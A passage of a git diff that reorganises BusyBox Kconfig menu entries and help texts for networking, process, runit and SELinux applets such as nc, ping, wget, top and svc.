+	bool "Netcat server options (-l)"
+	default BUSYBOX_DEFAULT_NC_SERVER
+	depends on BUSYBOX_CONFIG_NC
+	help
+	  Allow netcat to act as a server.
+
+config BUSYBOX_CONFIG_NC_EXTRA
+	bool "Netcat extensions (-eiw and -f FILE)"
+	default BUSYBOX_DEFAULT_NC_EXTRA
+	depends on BUSYBOX_CONFIG_NC
+	help
+	  Add -e (support for executing the rest of the command line after
+	  making or receiving a successful connection), -i (delay interval for
+	  lines sent), -w (timeout for initial connection).
+
+config BUSYBOX_CONFIG_NC_110_COMPAT
+	bool "Netcat 1.10 compatibility (+2.5k)"
+	default BUSYBOX_DEFAULT_NC_110_COMPAT  # off specially for Rob
+	depends on BUSYBOX_CONFIG_NC
+	help
+	  This option makes nc closely follow original nc-1.10.
+	  The code is about 2.5k bigger. It enables
+	  -s ADDR, -n, -u, -v, -o FILE, -z options, but loses
+	  busybox-specific extensions: -f FILE.
 config BUSYBOX_CONFIG_NETMSG
 	bool "netmsg"
 	default BUSYBOX_DEFAULT_NETMSG
 	help
 	  simple program for sending udp broadcast messages
-
 config BUSYBOX_CONFIG_NETSTAT
 	bool "netstat"
 	default BUSYBOX_DEFAULT_NETSTAT
@@ -843,13 +699,11 @@ config BUSYBOX_CONFIG_FEATURE_NETSTAT_PRG
 	help
 	  Add support for -p flag to print out PID and program name.
 	  +700 bytes of code.
-
 config BUSYBOX_CONFIG_NSLOOKUP
 	bool "nslookup"
 	default BUSYBOX_DEFAULT_NSLOOKUP
 	help
 	  nslookup is a tool to query Internet name servers.
-
 config BUSYBOX_CONFIG_NTPD
 	bool "ntpd"
 	default BUSYBOX_DEFAULT_NTPD
@@ -872,20 +726,39 @@ config BUSYBOX_CONFIG_FEATURE_NTPD_CONF
 	help
 	  Make ntpd look in /etc/ntp.conf for peers. Only "server address"
 	  is supported.
+config BUSYBOX_CONFIG_PING
+	bool "ping"
+	default BUSYBOX_DEFAULT_PING
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  ping uses the ICMP protocol's mandatory ECHO_REQUEST datagram to
+	  elicit an ICMP ECHO_RESPONSE from a host or gateway.
 
+config BUSYBOX_CONFIG_PING6
+	bool "ping6"
+	default BUSYBOX_DEFAULT_PING6
+	depends on BUSYBOX_CONFIG_FEATURE_IPV6
+	help
+	  This will give you a ping that can talk IPv6.
+
+config BUSYBOX_CONFIG_FEATURE_FANCY_PING
+	bool "Enable fancy ping output"
+	default BUSYBOX_DEFAULT_FEATURE_FANCY_PING
+	depends on BUSYBOX_CONFIG_PING || BUSYBOX_CONFIG_PING6
+	help
+	  Make the output from the ping applet include statistics, and at the
+	  same time provide full support for ICMP packets.
 config BUSYBOX_CONFIG_PSCAN
 	bool "pscan"
 	default BUSYBOX_DEFAULT_PSCAN
 	help
 	  Simple network port scanner.
-
 config BUSYBOX_CONFIG_ROUTE
 	bool "route"
 	default BUSYBOX_DEFAULT_ROUTE
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  Route displays or manipulates the kernel's IP routing tables.
-
 config BUSYBOX_CONFIG_SLATTACH
 	bool "slattach"
 	default BUSYBOX_DEFAULT_SLATTACH
@@ -893,17 +766,6 @@ config BUSYBOX_CONFIG_SLATTACH
 	help
 	  slattach is a small utility to attach network interfaces to serial
 	  lines.
-
-#config TC
-#	bool "tc"
-#	default y
-#	help
-#	  show / manipulate traffic control settings
-#
-#config FEATURE_TC_INGRESS
-#	def_bool n
-#	depends on TC
-
 config BUSYBOX_CONFIG_TCPSVD
 	bool "tcpsvd"
 	default BUSYBOX_DEFAULT_TCPSVD
@@ -911,6 +773,12 @@ config BUSYBOX_CONFIG_TCPSVD
 	  tcpsvd listens on a TCP port and runs a program for each new
 	  connection.
 
+config BUSYBOX_CONFIG_UDPSVD
+	bool "udpsvd"
+	default BUSYBOX_DEFAULT_UDPSVD
+	help
+	  udpsvd listens on an UDP port and runs a program for each new
+	  connection.
 config BUSYBOX_CONFIG_TELNET
 	bool "telnet"
 	default BUSYBOX_DEFAULT_TELNET
@@ -936,7 +804,6 @@ config BUSYBOX_CONFIG_FEATURE_TELNET_AUTOLOGIN
 	  remote host you are connecting to. This is useful when you need to
 	  log into a machine without telling the username (autologin). This
 	  option enables `-a' and `-l USER' arguments.
-
 config BUSYBOX_CONFIG_TELNETD
 	bool "telnetd"
 	default BUSYBOX_DEFAULT_TELNETD
@@ -978,7 +845,6 @@ config BUSYBOX_CONFIG_TELNETD
 
 	  with all that done, telnetd _should_ work....
 
-
 config BUSYBOX_CONFIG_FEATURE_TELNETD_STANDALONE
 	bool "Support standalone telnetd (not inetd only)"
 	default BUSYBOX_DEFAULT_FEATURE_TELNETD_STANDALONE
@@ -1006,7 +872,6 @@ config BUSYBOX_CONFIG_FEATURE_TELNETD_INETD_WAIT
 	  This option is rarely used. "tcp nowait" is much more usual
 	  way of running tcp services, including telnetd.
 	  You most probably want to say N here.
-
 config BUSYBOX_CONFIG_TFTP
 	bool "tftp"
 	default BUSYBOX_DEFAULT_TFTP
@@ -1071,7 +936,6 @@ config BUSYBOX_CONFIG_TFTP_DEBUG
 	help
 	  Make tftp[d] print debugging messages on stderr.
 	  This is useful if you are diagnosing a bug in tftp[d].
-
 config BUSYBOX_CONFIG_TRACEROUTE
 	bool "traceroute"
 	default BUSYBOX_DEFAULT_TRACEROUTE
@@ -1082,33 +946,24 @@ config BUSYBOX_CONFIG_TRACEROUTE
 config BUSYBOX_CONFIG_TRACEROUTE6
 	bool "traceroute6"
 	default BUSYBOX_DEFAULT_TRACEROUTE6
-	depends on BUSYBOX_CONFIG_FEATURE_IPV6 && BUSYBOX_CONFIG_TRACEROUTE
+	depends on BUSYBOX_CONFIG_FEATURE_IPV6
 	help
 	  Utility to trace the route of IPv6 packets.
 
 config BUSYBOX_CONFIG_FEATURE_TRACEROUTE_VERBOSE
 	bool "Enable verbose output"
 	default BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_VERBOSE
-	depends on BUSYBOX_CONFIG_TRACEROUTE
+	depends on BUSYBOX_CONFIG_TRACEROUTE || BUSYBOX_CONFIG_TRACEROUTE6
 	help
 	  Add some verbosity to traceroute. This includes among other things
 	  hostnames and ICMP response types.
 
-config BUSYBOX_CONFIG_FEATURE_TRACEROUTE_SOURCE_ROUTE
-	bool "Enable loose source route"
-	default BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_SOURCE_ROUTE
-	depends on BUSYBOX_CONFIG_TRACEROUTE
-	help
-	  Add option to specify a loose source route gateway
-	  (8 maximum).
-
 config BUSYBOX_CONFIG_FEATURE_TRACEROUTE_USE_ICMP
-	bool "Use ICMP instead of UDP"
+	bool "Enable -I option (use ICMP instead of UDP)"
 	default BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_USE_ICMP
-	depends on BUSYBOX_CONFIG_TRACEROUTE
+	depends on BUSYBOX_CONFIG_TRACEROUTE || BUSYBOX_CONFIG_TRACEROUTE6
 	help
 	  Add option -I to use ICMP ECHO instead of UDP datagrams.
-
 config BUSYBOX_CONFIG_TUNCTL
 	bool "tunctl"
 	default BUSYBOX_DEFAULT_TUNCTL
@@ -1123,32 +978,101 @@ config BUSYBOX_CONFIG_FEATURE_TUNCTL_UG
 	help
 	  Allow to specify owner and group of newly created interface.
 	  340 bytes of pure bloat. Say no here.
+config BUSYBOX_CONFIG_VCONFIG
+	bool "vconfig"
+	default BUSYBOX_DEFAULT_VCONFIG
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Creates, removes, and configures VLAN interfaces
+config BUSYBOX_CONFIG_WGET
+	bool "wget"
+	default BUSYBOX_DEFAULT_WGET
+	help
+	  wget is a utility for non-interactive download of files from HTTP
+	  and FTP servers.
 
-source udhcp/Config.in
+config BUSYBOX_CONFIG_FEATURE_WGET_STATUSBAR
+	bool "Enable a nifty process meter (+2k)"
+	default BUSYBOX_DEFAULT_FEATURE_WGET_STATUSBAR
+	depends on BUSYBOX_CONFIG_WGET
+	help
+	  Enable the transfer progress bar for wget transfers.
 
-config BUSYBOX_CONFIG_IFUPDOWN_UDHCPC_CMD_OPTIONS
-	string "ifup udhcpc command line options"
-	default BUSYBOX_DEFAULT_IFUPDOWN_UDHCPC_CMD_OPTIONS
-	depends on BUSYBOX_CONFIG_IFUPDOWN && BUSYBOX_CONFIG_UDHCPC
+config BUSYBOX_CONFIG_FEATURE_WGET_AUTHENTICATION
+	bool "Enable HTTP authentication"
+	default BUSYBOX_DEFAULT_FEATURE_WGET_AUTHENTICATION
+	depends on BUSYBOX_CONFIG_WGET
 	help
-	  Command line options to pass to udhcpc from ifup.
-	  Intended to alter options not available in /etc/network/interfaces.
-	  (IE: --syslog --background etc...)
+	  Support authenticated HTTP transfers.
 
-config BUSYBOX_CONFIG_UDPSVD
-	bool "udpsvd"
-	default BUSYBOX_DEFAULT_UDPSVD
+config BUSYBOX_CONFIG_FEATURE_WGET_LONG_OPTIONS
+	bool "Enable long options"
+	default BUSYBOX_DEFAULT_FEATURE_WGET_LONG_OPTIONS
+	depends on BUSYBOX_CONFIG_WGET && BUSYBOX_CONFIG_LONG_OPTS
 	help
-	  udpsvd listens on an UDP port and runs a program for each new
-	  connection.
+	  Support long options for the wget applet.
 
-config BUSYBOX_CONFIG_VCONFIG
-	bool "vconfig"
-	default BUSYBOX_DEFAULT_VCONFIG
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
+config BUSYBOX_CONFIG_FEATURE_WGET_TIMEOUT
+	bool "Enable timeout option -T SEC"
+	default BUSYBOX_DEFAULT_FEATURE_WGET_TIMEOUT
+	depends on BUSYBOX_CONFIG_WGET
 	help
-	  Creates, removes, and configures VLAN interfaces
+	  Supports network read and connect timeouts for wget,
+	  so that wget will give up and timeout, through the -T
+	  command line option.
+
+	  Currently only connect and network data read timeout are
+	  supported (i.e., timeout is not applied to the DNS query). When
+	  FEATURE_WGET_LONG_OPTIONS is also enabled, the --timeout option
+	  will work in addition to -T.
+
+config BUSYBOX_CONFIG_FEATURE_WGET_OPENSSL
+	bool "Try to connect to HTTPS using openssl"
+	default BUSYBOX_DEFAULT_FEATURE_WGET_OPENSSL
+	depends on BUSYBOX_CONFIG_WGET
+	help
+	  Choose how wget establishes SSL connection for https:// URLs.
+
+	  Busybox itself contains no SSL code. wget will spawn
+	  a helper program to talk over HTTPS.
+
+	  OpenSSL has a simple SSL client for debug purposes.
+	  If you select "openssl" helper, wget will effectively run:
+	  "openssl s_client -quiet -connect hostname:443
+	  -servername hostname 2>/dev/null" and pipe its data
+	  through it. -servername is not used if hostname is numeric.
+	  Note inconvenient API: host resolution is done twice,
+	  and there is no guarantee openssl's idea of IPv6 address
+	  format is the same as ours.
+	  Another problem is that s_client prints debug information
+	  to stderr, and it needs to be suppressed. This means
+	  all error messages get suppressed too.
+	  openssl is also a big binary, often dynamically linked
+	  against ~15 libraries.
+
+config BUSYBOX_CONFIG_FEATURE_WGET_SSL_HELPER
+	bool "Try to connect to HTTPS using ssl_helper"
+	default BUSYBOX_DEFAULT_FEATURE_WGET_SSL_HELPER
+	depends on BUSYBOX_CONFIG_WGET
+	help
+	  Choose how wget establishes SSL connection for https:// URLs.
+
+	  Busybox itself contains no SSL code. wget will spawn
+	  a helper program to talk over HTTPS.
 
+	  ssl_helper is a tool which can be built statically
+	  from busybox sources against a small embedded SSL library.
+	  Please see networking/ssl_helper/README.
+	  It does not require double host resolution and emits
+	  error messages to stderr.
+
+	  Precompiled static binary may be available at
+	  http://busybox.net/downloads/binaries/
+config BUSYBOX_CONFIG_WHOIS
+	bool "whois"
+	default BUSYBOX_DEFAULT_WHOIS
+	help
+	  whois is a client for the whois directory service
 config BUSYBOX_CONFIG_ZCIP
 	bool "zcip"
 	default BUSYBOX_DEFAULT_ZCIP
@@ -1162,4 +1086,15 @@ config BUSYBOX_CONFIG_ZCIP
 	  See http://www.zeroconf.org for further details, and "zcip.script"
 	  in the busybox examples.
 
+source udhcp/Config.in
+
+config BUSYBOX_CONFIG_IFUPDOWN_UDHCPC_CMD_OPTIONS
+	string "ifup udhcpc command line options"
+	default BUSYBOX_DEFAULT_IFUPDOWN_UDHCPC_CMD_OPTIONS
+	depends on BUSYBOX_CONFIG_IFUPDOWN && BUSYBOX_CONFIG_UDHCPC
+	help
+	  Command line options to pass to udhcpc from ifup.
+	  Intended to alter options not available in /etc/network/interfaces.
+	  (IE: --syslog --background etc...)
+
 endmenu
diff --git a/package/utils/busybox/config/networking/udhcp/Config.in b/package/utils/busybox/config/networking/udhcp/Config.in
index 4f48400..cdba5d5 100644
--- a/package/utils/busybox/config/networking/udhcp/Config.in
+++ b/package/utils/busybox/config/networking/udhcp/Config.in
@@ -22,7 +22,6 @@ config BUSYBOX_CONFIG_UDHCPD
 config BUSYBOX_CONFIG_DHCPRELAY
 	bool "dhcprelay"
 	default BUSYBOX_DEFAULT_DHCPRELAY
-	depends on BUSYBOX_CONFIG_UDHCPD
 	help
 	  dhcprelay listens for dhcp requests on one or more interfaces
 	  and forwards these requests to a different interface or dhcp
@@ -31,7 +30,6 @@ config BUSYBOX_CONFIG_DHCPRELAY
 config BUSYBOX_CONFIG_DUMPLEASES
 	bool "Lease display utility (dumpleases)"
 	default BUSYBOX_DEFAULT_DUMPLEASES
-	depends on BUSYBOX_CONFIG_UDHCPD
 	help
 	  dumpleases displays the leases written out by the udhcpd server.
 	  Lease times are stored in the file by time remaining in lease, or
diff --git a/package/utils/busybox/config/procps/Config.in b/package/utils/busybox/config/procps/Config.in
index 6eafbda..6bc5ec0 100644
--- a/package/utils/busybox/config/procps/Config.in
+++ b/package/utils/busybox/config/procps/Config.in
@@ -6,122 +6,6 @@
 
 menu "Process Utilities"
 
-config BUSYBOX_CONFIG_IOSTAT
-	bool "iostat"
-	default BUSYBOX_DEFAULT_IOSTAT
-	help
-	  Report CPU and I/O statistics
-config BUSYBOX_CONFIG_LSOF
-	bool "lsof"
-	default BUSYBOX_DEFAULT_LSOF
-	help
-	  Show open files in the format of:
-	  PID <TAB> /path/to/executable <TAB> /path/to/opened/file
-config BUSYBOX_CONFIG_MPSTAT
-	bool "mpstat"
-	default BUSYBOX_DEFAULT_MPSTAT
-	help
-	  Per-processor statistics
-config BUSYBOX_CONFIG_NMETER
-	bool "nmeter"
-	default BUSYBOX_DEFAULT_NMETER
-	help
-	  Prints selected system stats continuously, one line per update.
-config BUSYBOX_CONFIG_PMAP
-       bool "pmap"
-       default BUSYBOX_DEFAULT_PMAP
-       help
-         Display processes' memory mappings.
-config BUSYBOX_CONFIG_POWERTOP
-	bool "powertop"
-	default BUSYBOX_DEFAULT_POWERTOP
-	help
-	  Analyze power consumption on Intel-based laptops
-config BUSYBOX_CONFIG_PSTREE
-	bool "pstree"
-	default BUSYBOX_DEFAULT_PSTREE
-	help
-	  Display a tree of processes.
-config BUSYBOX_CONFIG_PWDX
-	bool "pwdx"
-	default BUSYBOX_DEFAULT_PWDX
-	help
-	  Report current working directory of a process
-config BUSYBOX_CONFIG_SMEMCAP
-	bool "smemcap"
-	default BUSYBOX_DEFAULT_SMEMCAP
-	help
-	  smemcap is a tool for capturing process data for smem,
-	  a memory usage statistic tool.
-config BUSYBOX_CONFIG_TOP
-	bool "top"
-	default BUSYBOX_DEFAULT_TOP
-	help
-	  The top program provides a dynamic real-time view of a running
-	  system.
-
-config BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
-	bool "Show CPU per-process usage percentage"
-	default BUSYBOX_DEFAULT_FEATURE_TOP_CPU_USAGE_PERCENTAGE
-	depends on BUSYBOX_CONFIG_TOP
-	help
-	  Make top display CPU usage for each process.
-	  This adds about 2k.
-
-config BUSYBOX_CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS
-	bool "Show CPU global usage percentage"
-	default BUSYBOX_DEFAULT_FEATURE_TOP_CPU_GLOBAL_PERCENTS
-	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
-	help
-	  Makes top display "CPU: NN% usr NN% sys..." line.
-	  This adds about 0.5k.
-
-config BUSYBOX_CONFIG_FEATURE_TOP_SMP_CPU
-	bool "SMP CPU usage display ('c' key)"
-	default BUSYBOX_DEFAULT_FEATURE_TOP_SMP_CPU
-	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS
-	help
-	  Allow 'c' key to switch between individual/cumulative CPU stats
-	  This adds about 0.5k.
-
-config BUSYBOX_CONFIG_FEATURE_TOP_DECIMALS
-	bool "Show 1/10th of a percent in CPU/mem statistics"
-	default BUSYBOX_DEFAULT_FEATURE_TOP_DECIMALS
-	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
-	help
-	  Show 1/10th of a percent in CPU/mem statistics.
-	  This adds about 0.3k.
-
-config BUSYBOX_CONFIG_FEATURE_TOP_SMP_PROCESS
-	bool "Show CPU process runs on ('j' field)"
-	default BUSYBOX_DEFAULT_FEATURE_TOP_SMP_PROCESS
-	depends on BUSYBOX_CONFIG_TOP
-	help
-	  Show CPU where process was last found running on.
-	  This is the 'j' field.
-
-config BUSYBOX_CONFIG_FEATURE_TOPMEM
-	bool "Topmem command ('s' key)"
-	default BUSYBOX_DEFAULT_FEATURE_TOPMEM
-	depends on BUSYBOX_CONFIG_TOP
-	help
-	  Enable 's' in top (gives lots of memory info).
-config BUSYBOX_CONFIG_UPTIME
-	bool "uptime"
-	default BUSYBOX_DEFAULT_UPTIME
-	select BUSYBOX_CONFIG_PLATFORM_LINUX #sysinfo()
-	help
-	  uptime gives a one line display of the current time, how long
-	  the system has been running, how many users are currently logged
-	  on, and the system load averages for the past 1, 5, and 15 minutes.
-
-config BUSYBOX_CONFIG_FEATURE_UPTIME_UTMP_SUPPORT
-	bool "Support for showing the number of users"
-	default BUSYBOX_DEFAULT_FEATURE_UPTIME_UTMP_SUPPORT
-	depends on BUSYBOX_CONFIG_UPTIME && BUSYBOX_CONFIG_FEATURE_UTMP
-	help
-	  Makes uptime display the number of users currently logged on.
-
 config BUSYBOX_CONFIG_FREE
 	bool "free"
 	default BUSYBOX_DEFAULT_FREE
@@ -130,7 +14,6 @@ config BUSYBOX_CONFIG_FREE
 	  free displays the total amount of free and used physical and swap
 	  memory in the system, as well as the buffers used by the kernel.
 	  The shared memory column should be ignored; it is obsolete.
-
 config BUSYBOX_CONFIG_FUSER
 	bool "fuser"
 	default BUSYBOX_DEFAULT_FUSER
@@ -138,7 +21,11 @@ config BUSYBOX_CONFIG_FUSER
 	  fuser lists all PIDs (Process IDs) that currently have a given
 	  file open. fuser can also list all PIDs that have a given network
 	  (TCP or UDP) port open.
-
+config BUSYBOX_CONFIG_IOSTAT
+	bool "iostat"
+	default BUSYBOX_DEFAULT_IOSTAT
+	help
+	  Report CPU and I/O statistics
 config BUSYBOX_CONFIG_KILL
 	bool "kill"
 	default BUSYBOX_DEFAULT_KILL
@@ -150,7 +37,6 @@ config BUSYBOX_CONFIG_KILL
 config BUSYBOX_CONFIG_KILLALL
 	bool "killall"
 	default BUSYBOX_DEFAULT_KILLALL
-	depends on BUSYBOX_CONFIG_KILL
 	help
 	  killall sends a signal to all processes running any of the
 	  specified commands. If no signal name is specified, SIGTERM is
@@ -159,14 +45,38 @@ config BUSYBOX_CONFIG_KILLALL
 config BUSYBOX_CONFIG_KILLALL5
 	bool "killall5"
 	default BUSYBOX_DEFAULT_KILLALL5
-	depends on BUSYBOX_CONFIG_KILL
-
+	help
+	  The SystemV killall command. killall5 sends a signal
+	  to all processes except kernel threads and the processes
+	  in its own session, so it won't kill the shell that is running
+	  the script it was called from.
+config BUSYBOX_CONFIG_LSOF
+	bool "lsof"
+	default BUSYBOX_DEFAULT_LSOF
+	help
+	  Show open files in the format of:
+	  PID <TAB> /path/to/executable <TAB> /path/to/opened/file
+config BUSYBOX_CONFIG_MPSTAT
+	bool "mpstat"
+	default BUSYBOX_DEFAULT_MPSTAT
+	help
+	  Per-processor statistics
+config BUSYBOX_CONFIG_NMETER
+	bool "nmeter"
+	default BUSYBOX_DEFAULT_NMETER
+	help
+	  Prints selected system stats continuously, one line per update.
 config BUSYBOX_CONFIG_PGREP
 	bool "pgrep"
 	default BUSYBOX_DEFAULT_PGREP
 	help
 	  Look for processes by name.
 
+config BUSYBOX_CONFIG_PKILL
+	bool "pkill"
+	default BUSYBOX_DEFAULT_PKILL
+	help
+	  Send signals to processes by name.
 config BUSYBOX_CONFIG_PIDOF
 	bool "pidof"
 	default BUSYBOX_DEFAULT_PIDOF
@@ -189,13 +99,16 @@ config BUSYBOX_CONFIG_FEATURE_PIDOF_OMIT
 	  Support argument '-o' for omitting the given pids in output.
 	  The special pid %PPID can be used to name the parent process
 	  of the pidof, in other words the calling shell or shell script.
-
-config BUSYBOX_CONFIG_PKILL
-	bool "pkill"
-	default BUSYBOX_DEFAULT_PKILL
+config BUSYBOX_CONFIG_PMAP
+       bool "pmap"
+       default BUSYBOX_DEFAULT_PMAP
+       help
+         Display processes' memory mappings.
+config BUSYBOX_CONFIG_POWERTOP
+	bool "powertop"
+	default BUSYBOX_DEFAULT_POWERTOP
 	help
-	  Send signals to processes by name.
-
+	  Analyze power consumption on Intel-based laptops
 config BUSYBOX_CONFIG_PS
 	bool "ps"
 	default BUSYBOX_DEFAULT_PS
@@ -241,28 +154,101 @@ config BUSYBOX_CONFIG_FEATURE_PS_UNUSUAL_SYSTEMS
 	help
 	  Include support for measuring HZ on old kernels and non-ELF systems
 	  (if you are on Linux 2.4.0+ and use ELF, you don't need this)
-
+config BUSYBOX_CONFIG_PSTREE
+	bool "pstree"
+	default BUSYBOX_DEFAULT_PSTREE
+	help
+	  Display a tree of processes.
+config BUSYBOX_CONFIG_PWDX
+	bool "pwdx"
+	default BUSYBOX_DEFAULT_PWDX
+	help
+	  Report current working directory of a process
 config BUSYBOX_CONFIG_RENICE
 	bool "renice"
 	default BUSYBOX_DEFAULT_RENICE
 	help
 	  Renice alters the scheduling priority of one or more running
 	  processes.
-
+config BUSYBOX_CONFIG_SMEMCAP
+	bool "smemcap"
+	default BUSYBOX_DEFAULT_SMEMCAP
+	help
+	  smemcap is a tool for capturing process data for smem,
+	  a memory usage statistic tool.
 config BUSYBOX_CONFIG_BB_SYSCTL
 	bool "sysctl"
 	default BUSYBOX_DEFAULT_BB_SYSCTL
 	help
 	  Configure kernel parameters at runtime.
+config BUSYBOX_CONFIG_TOP
+	bool "top"
+	default BUSYBOX_DEFAULT_TOP
+	help
+	  The top program provides a dynamic real-time view of a running
+	  system.
 
-config BUSYBOX_CONFIG_FEATURE_SHOW_THREADS
-	bool "Support for showing threads in ps/pstree/top"
-	default BUSYBOX_DEFAULT_FEATURE_SHOW_THREADS
-	depends on BUSYBOX_CONFIG_PS || BUSYBOX_CONFIG_TOP || BUSYBOX_CONFIG_PSTREE
+config BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
+	bool "Show CPU per-process usage percentage"
+	default BUSYBOX_DEFAULT_FEATURE_TOP_CPU_USAGE_PERCENTAGE
+	depends on BUSYBOX_CONFIG_TOP
 	help
-	  Enables the ps -T option, showing of threads in pstree,
-	  and 'h' command in top.
+	  Make top display CPU usage for each process.
+	  This adds about 2k.
+
+config BUSYBOX_CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS
+	bool "Show CPU global usage percentage"
+	default BUSYBOX_DEFAULT_FEATURE_TOP_CPU_GLOBAL_PERCENTS
+	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
+	help
+	  Makes top display "CPU: NN% usr NN% sys..." line.
+	  This adds about 0.5k.
+
+config BUSYBOX_CONFIG_FEATURE_TOP_SMP_CPU
+	bool "SMP CPU usage display ('c' key)"
+	default BUSYBOX_DEFAULT_FEATURE_TOP_SMP_CPU
+	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS
+	help
+	  Allow 'c' key to switch between individual/cumulative CPU stats
+	  This adds about 0.5k.
+
+config BUSYBOX_CONFIG_FEATURE_TOP_DECIMALS
+	bool "Show 1/10th of a percent in CPU/mem statistics"
+	default BUSYBOX_DEFAULT_FEATURE_TOP_DECIMALS
+	depends on BUSYBOX_CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE
+	help
+	  Show 1/10th of a percent in CPU/mem statistics.
+	  This adds about 0.3k.
+
+config BUSYBOX_CONFIG_FEATURE_TOP_SMP_PROCESS
+	bool "Show CPU process runs on ('j' field)"
+	default BUSYBOX_DEFAULT_FEATURE_TOP_SMP_PROCESS
+	depends on BUSYBOX_CONFIG_TOP
+	help
+	  Show CPU where process was last found running on.
+	  This is the 'j' field.
+
+config BUSYBOX_CONFIG_FEATURE_TOPMEM
+	bool "Topmem command ('s' key)"
+	default BUSYBOX_DEFAULT_FEATURE_TOPMEM
+	depends on BUSYBOX_CONFIG_TOP
+	help
+	  Enable 's' in top (gives lots of memory info).
+config BUSYBOX_CONFIG_UPTIME
+	bool "uptime"
+	default BUSYBOX_DEFAULT_UPTIME
+	select BUSYBOX_CONFIG_PLATFORM_LINUX #sysinfo()
+	help
+	  uptime gives a one line display of the current time, how long
+	  the system has been running, how many users are currently logged
+	  on, and the system load averages for the past 1, 5, and 15 minutes.
 
+config BUSYBOX_CONFIG_FEATURE_UPTIME_UTMP_SUPPORT
+	bool "Support for showing the number of users"
+	default BUSYBOX_DEFAULT_FEATURE_UPTIME_UTMP_SUPPORT
+	depends on BUSYBOX_CONFIG_UPTIME && BUSYBOX_CONFIG_FEATURE_UTMP
+	help
+	  Makes uptime display the number of users currently logged on.
 config BUSYBOX_CONFIG_WATCH
 	bool "watch"
 	default BUSYBOX_DEFAULT_WATCH
@@ -270,4 +256,12 @@ config BUSYBOX_CONFIG_WATCH
 	  watch is used to execute a program periodically, showing
 	  output to the screen.
 
+config BUSYBOX_CONFIG_FEATURE_SHOW_THREADS
+	bool "Support for showing threads in ps/pstree/top"
+	default BUSYBOX_DEFAULT_FEATURE_SHOW_THREADS
+	depends on BUSYBOX_CONFIG_PS || BUSYBOX_CONFIG_TOP || BUSYBOX_CONFIG_PSTREE
+	help
+	  Enables the ps -T option, showing of threads in pstree,
+	  and 'h' command in top.
+
 endmenu
diff --git a/package/utils/busybox/config/runit/Config.in b/package/utils/busybox/config/runit/Config.in
index a322a2c..8750b59 100644
--- a/package/utils/busybox/config/runit/Config.in
+++ b/package/utils/busybox/config/runit/Config.in
@@ -73,6 +73,13 @@ config BUSYBOX_CONFIG_SV_DEFAULT_SERVICE_DIR
 	help
 	  Default directory for services.
 	  Defaults to "/var/service"
+
+config BUSYBOX_CONFIG_SVC
+	bool "svc"
+	default BUSYBOX_DEFAULT_SVC
+	help
+	  svc controls the state of services monitored by the runsv supervisor.
+	  It is comaptible with daemontools command with the same name.
 config BUSYBOX_CONFIG_SVLOGD
 	bool "svlogd"
 	default BUSYBOX_DEFAULT_SVLOGD
diff --git a/package/utils/busybox/config/selinux/Config.in b/package/utils/busybox/config/selinux/Config.in
index 1d23f7d..1aac9f4 100644
--- a/package/utils/busybox/config/selinux/Config.in
+++ b/package/utils/busybox/config/selinux/Config.in
@@ -7,7 +7,6 @@
 menu "SELinux Utilities"
 	depends on BUSYBOX_CONFIG_SELINUX
 
-
 config BUSYBOX_CONFIG_CHCON
 	bool "chcon"
 	default BUSYBOX_DEFAULT_CHCON
@@ -21,28 +20,24 @@ config BUSYBOX_CONFIG_FEATURE_CHCON_LONG_OPTIONS
 	depends on BUSYBOX_CONFIG_CHCON && BUSYBOX_CONFIG_LONG_OPTS
 	help
 	  Support long options for the chcon applet.
-
 config BUSYBOX_CONFIG_GETENFORCE
 	bool "getenforce"
 	default BUSYBOX_DEFAULT_GETENFORCE
 	depends on BUSYBOX_CONFIG_SELINUX
 	help
 	  Enable support to get the current mode of SELinux.
-
 config BUSYBOX_CONFIG_GETSEBOOL
 	bool "getsebool"
 	default BUSYBOX_DEFAULT_GETSEBOOL
 	depends on BUSYBOX_CONFIG_SELINUX
 	help
 	  Enable support to get SELinux boolean values.
-
 config BUSYBOX_CONFIG_LOAD_POLICY
 	bool "load_policy"
 	default BUSYBOX_DEFAULT_LOAD_POLICY
 	depends on BUSYBOX_CONFIG_SELINUX
 	help
 	  Enable support to load SELinux policy.
-
 config BUSYBOX_CONFIG_MATCHPATHCON
 	bool "matchpathcon"
 	default BUSYBOX_DEFAULT_MATCHPATHCON
@@ -50,15 +45,6 @@ config BUSYBOX_CONFIG_MATCHPATHCON
 	help
 	  Enable support to get default security context of the
 	  specified path from the file contexts configuration.
-
-config BUSYBOX_CONFIG_RESTORECON
-	bool "restorecon"
-	default BUSYBOX_DEFAULT_RESTORECON
-	depends on BUSYBOX_CONFIG_SELINUX
-	help
-	  Enable support to relabel files. The feature is almost
-	  the same as setfiles, but usage is a little different.
-
 config BUSYBOX_CONFIG_RUNCON
 	bool "runcon"
 	default BUSYBOX_DEFAULT_RUNCON
@@ -72,7 +58,6 @@ config BUSYBOX_CONFIG_FEATURE_RUNCON_LONG_OPTIONS
 	depends on BUSYBOX_CONFIG_RUNCON && BUSYBOX_CONFIG_LONG_OPTS
 	help
 	  Support long options for the runcon applet.
-
 config BUSYBOX_CONFIG_SELINUXENABLED
 	bool "selinuxenabled"
 	default BUSYBOX_DEFAULT_SELINUXENABLED
@@ -80,14 +65,18 @@ config BUSYBOX_CONFIG_SELINUXENABLED
 	help
 	  Enable support for this command to be used within shell scripts
 	  to determine if selinux is enabled.
-
+config BUSYBOX_CONFIG_SESTATUS
+	bool "sestatus"
+	default BUSYBOX_DEFAULT_SESTATUS
+	depends on BUSYBOX_CONFIG_SELINUX
+	help
+	  Displays the status of SELinux.
